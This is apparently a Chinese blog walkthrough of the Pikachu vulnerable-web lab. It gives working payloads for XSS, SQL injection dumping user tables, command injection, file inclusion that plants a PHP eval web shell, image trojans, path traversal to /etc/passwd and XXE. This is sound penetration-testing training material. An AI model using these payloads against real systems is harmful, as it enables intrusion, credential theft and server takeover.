Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。
0x01 Burt Force(暴力破解漏洞)
基于表单的暴力破解
一.准备字典
二.使用burp suite爆破
- 抓包
- 使用intruder-->cluster bomb模块爆破
验证码绕过(on server)
- 使用 brup suite抓包,并将其发送到 repeater中
观察上面两张抓包图片,我们可以发现,在同一次“未断包”(我自己理解的词)的情况下,改变用户名或密码可以不更改验证码。即验证码未过期。爆破思路同上。
验证码绕过(on client)
- 同上,根据 burp抓包,在repeater中重复发送,验证码并没有作用,观察源码,发现其验证码为前端验证,所以验证码根本没有什么作用。
- 爆破攻击思路同上。
token防爆破
- 带有token,一般来说真实网站中带有token,多半就可以放弃了,但是靶场中肯定有解决方法。
通过bp中的Grep-Extract 功能截取token,爆破,由于我的burp suite汉化后,没有Grep-Extract功能了。故链接至其他师傅博客。(www.jianshu.com/p/f21873580…)
0x02 XSS(跨站脚本)
一.反射性xss(get):
<script>alert(1)</script>
<img /src=1 onerror=console.log(123)>
二.反射性xss(post):
<script>alert('xss')</script>
三.存储性xss:
<script>alert('xss')</script>
四.DOM型xss:
<a href="javascript:alert('xss')">
五.DOM型xss-x:
<a href="javascript:alert('xss')">
六.xss盲打:
<script>alert('xss')</script> 说明该提交方式为post,提交的内容会在后台被接受执行,故可盗取管理员cookie
七.xss过滤: 说明该关卡会使用正则对<script进行替换为空,也就是过滤了。
'</p><a href="www.baidu.com">11111</a><p>'
'</p><a onclick=alert("xss")>11111<p>'
'</p><a onclick=alert("xss")>关注CVultra</a><p>'
八.xss之htmlspecialchars:
' onclick='alert(111)'
' onmouseover='alert(111)'
九.xss之href输出:
javascript:alert('xss')
十.xss之js输出:
'</script><script>alert(1)</script>//
0x03 CSRF(跨站请求伪造)
一.CSRF(GET)
参数通过GET请求传参,修改URL中的值即可修改信息。通过短网址转换,诱导用户点击即可。
二.CSRF(POST)
通过POST传参,在hackbar中通过POST提交即可更改数据。
二.CSRF(Token)
真实环境下,增加token后可以及其有效的防止攻击。那么在这个靶场中,应该可以采用 暴力破解--》token中的做法,进行攻击(仅仅是思路,不知道能不能成功!)
0x04 Sql Inject(SQL注入)
数字型注入
判断字段数:
id=0 order by 2--+&submit=%E6%9F%A5%E8%AF%A2
id=1 order by 2--+&submit=%E6%9F%A5%E8%AF%A2
id=1 union select 1,2--+&submit=%E6%9F%A5%E8%AF%A2
id=0 union select 1,2--+&submit=%E6%9F%A5%E8%AF%A2
确定数据库名称:
id=0 union select 1,database()--+&submit=%E6%9F%A5%E8%AF%A2
确定表名:
id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'--+&submit=%E6%9F%A5%E8%AF%A2
确定字段名:
id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+&submit=%E6%9F%A5%E8%AF%A2
确定字段值:
id=0 union select 1,group_concat(id,0x3a,username,0x2c,password,0x3b,level) from users--+&submit=%E6%9F%A5%E8%AF%A2
为了美观显示可以写成这样:
id=0 union select 1,group_concat(id,0x3a,username,0x2c,password,0x2c,level,0x3c,0x3e) from users--+&submit=%E6%9F%A5%E8%AF%A2
字符型注入
闭合:
kobe' or '1'='1
一.判断字段数:
/vul/sqli/sqli_str.php?name=kobe' order by 2 --+ &submit=%E6%9F%A5%E8%AF%A2 //不知道为什么#不能注释
二.呵呵,一把梭哈....算了,还是手工吧
/vul/sqli/sqli_str.php?name=kobe' union select user(),@@version_compile_os --+ &submit=%E6%9F%A5%E8%AF%A2
//结果是 root/linux
/vul/sqli/sqli_str.php?name=kobe' union select user(),group_concat(schema_name) from information_schema.schemata --+ &submit=%E6%9F%A5%E8%AF%A2
//结果是:information_schema,mysql,performance_schema,pikachu,sys
/vul/sqli/sqli_str.php?name=kobe' union select user(),group_concat(table_name) from information_schema.tables where table_schema='pikachu' --+ &submit=%E6%9F%A5%E8%AF%A2
//结果为: httpinfo,member,message,users,xssblind
/vul/sqli/sqli_str.php?name=kobe' union select user(),group_concat(column_name) from information_schema.columns where table_name='users' --+ &submit=%E6%9F%A5%E8%AF%A2
//结果为:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level
/vul/sqli/sqli_str.php?name=kobe' union select user(),group_concat(id,0x3a,username,0x3a,password,0x3a,level) from users --+ &submit=%E6%9F%A5%E8%AF%A2
//不就出来了吗
搜索型注入
/vul/sqli/sqli_search.php?name=kobe' or '1'='1 &submit=%E6%90%9C%E7%B4%A2 //跟上面一摸一样
xx型注入
http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=kobe%27)%20and%20(%271%27=%271&submit=%E6%9F%A5%E8%AF%A2#
http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=kobe%27)%20or%20(%271%27=%271&submit=%E6%9F%A5%E8%AF%A2#
- 成功闭合,后续思路同上。
"insert/update"注入
查询数据库名:
cvultra' or updatexml(1,concat(0x7e,database()),0) or'
查询版本号:
cvultra' or updatexml(1,concat(0x7e,version()),0) or'
查询pikachu-->下的表名:
cvultra' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
其他查询,与上面方法一致....
为什么采用concat函数去查询,而不是 group_concat?
答:根据报错信息,使用group_concat报错,“组无效”。
超链接-->点击
delete注入
查询数据库名:
61+or+updatexml+(1,concat(0x7e,database()),0)
其他查询如上所示....
"http header"注入
- 首先登陆账户 admin/123456
- 将User-Agent后面的值替换为:
1' or updatexml(1, concat(0x7e, database()), 0) or ' - 后续测试 同上
布尔型盲注
输入 vince'# 不报错,说明存在注入,且为单引号闭合
判断数据库长度: Vince' and length(database())>=1 #
........ 方法固定,不再阐述
时间型盲注
一.Vince' and sleep(5)#
延长5秒后显示,说明构造正确二.话不多说,sqlmap跑,出结果
宽字节注入
- burp suite抓包,将username 替换为 root %df' or 1=1 #
RCE
exec"ping"
127.0.0.1&net user
..........
exec"eval"
phpinfo();
system("ipconfig");
File inclusion
本地文件包含
1.本地文件包含:仅能够对服务器本地文件进行读取,泄露敏感信息。(例;linux中读取敏感件:../../../../../)
payload;
?filename=../../../../../../../etc/passwd&submit=提交查询
........... //总之危害情况视具体情况而定
远程文件包含
//此漏洞,大有可为!
//思路
1.在自己的服务器上创建一个恶意PHP文件,此恶意文件可以在漏洞机上执行,并向其中写入一句话木马。
//我使用本地服务器(127.0.0.1)
本地拍PHP文件为:test.php
test.php: <?php fwrite(fopen("muma.php","w"),'<?php @eval($_POST[hacker]);?>'); ?>
不安全的文件下载
不安全的文件下载概述 文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。 此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来,从而导致后台敏感信息(密码文件、源代码等)被下载。
下载根目录下的txt文件:
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../test.php
不安全的文件上传
1.客服端检查:法一:burp suite更改;法二:前端禁用js(火狐浏览器-about:config禁用js);法三:删除js代码
2.服务端检查:Content-Type: image/png or image/jpeg(实现服务端欺骗)
3.getimagesize()配合文件包含漏洞 制作图片木马:
copy/b te.JPG+test.php cc.png
test.php:<?php @eval($_POST[hacker]);?>
../../unsafeupload/uploads/2021/08/17/700269611b6bffd8996945825253.png(访问此图片执行PHP代码)
水平越权&&垂直越权
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
水平越权:同级用户之间操作,更改另一方的数据. 垂直越权:权限不同的用户,低权限用户获得高级用户的权限。简而言之就是--管理员创建用户的数据(burp suite抓包)+普通用户的cookie = 普通用户实现管理员功能
目录遍历
pikachu中关于目录遍历定义: 目录遍历漏洞概述 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。 看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。 需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在"i can see you ABC"中了解更多)
敏感信息泄露
敏感信息泄露概述 由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如: ---通过访问url下的目录,可以直接列出目录下的文件列表; ---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息; ---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等; 类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。
php反序列化
漏洞产生原因: PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的. 反序列化漏洞的成 因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象, 而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。 总而言之: 反序列化漏洞是由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的。
深入理解漏洞: www.cnblogs.com/20175211lyz…
关于函数魔术方法 zhuanlan.zhihu.com/p/377676274 理解PHP反序列化漏洞
序列化
有类:
<?php
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
echo serialize($s); //把这个对象进行序列化
?>
//输出:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
//说明: O:代表object 1:代表对象名字长度为一个字符 S:对象的名称
// 1:代表对象里面有一个变量 s:数据类型 4:变量名称的长度
// test:变量名称 s:数据类型 7:变量值的长度 pikachu:变量值
无类:
<?php
$t = 'xiaodi';
echo serialize($t);
?>
//输出:s:6:"xiaodi";
反序列化
<?php
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
echo serialize($s); //把这个对象进行序列化
echo "\n";
$u=unserialize('O:1:"S":1:{s:4:"test";s:7:"pikachu";}');
echo $u->test; //得到的结果为pikachu
?>
//输出:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
// pikachu
魔术方法:
<?php
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
/$s = $_GET['test'];
@$unser = unserialize('O:1:"S":1:{s:4:"test";s:8:"pikachua";}');
?>
//输出:pikachua
/*
常见魔术方法:
__construct(),类的构造函数 __destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用 __set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用 __autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
//PHP讲以双下划线__保留为魔术方法,所有的魔术方法 必须 声明为 public。
//详解;https://zhuanlan.zhihu.com/p/377676274
*/
pikachu源码:
pikachu:
<?php
class S{
public $test="<script>alert(1)</script>";
}
$s=new S(); //创建一个对象
echo serialize($s); //把这个对象进行序列化
?>
- 利用:
O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}
XXE漏洞
参考链接:https://article.itxueyuan.com/nW74BB
xml:传输和存储数据格式类型,传输数据
XXE:指"xml外部实体注入漏洞",即xml上的漏洞。概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
危害:文件读取,RCE利用,内网攻击,DOS攻击
显示内容:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe "存在XXE漏洞">
]>
<name>&xxe;</name>
读取内容:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///G://wshy.txt">
]>
<x>&xxe;</x>
===============================================
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:////etc/passwd">
]>
<x>&xxe;</x>
================================================
引入外部实体:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1/evil.dtd">
%file;
]>
<x>&send;</x>
//下面的是写入文件的
evil.dtd:
<!ENTITY send SYSTEM "file:///G:/wshy.txt">
不安全的url跳转
不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。\
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话\
就可能发生"跳错对象"的问题。\
\
url跳转比较直接的危害是:\
-->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站
利用:
- 127.0.0.1/pikachu/vul/urlredirect/urlredirect.php?url=www.baidu.com
SSRF
- 对内网情况进行探测
我正在参与掘金技术社区创作者签约计划招募活动,点击链接报名投稿。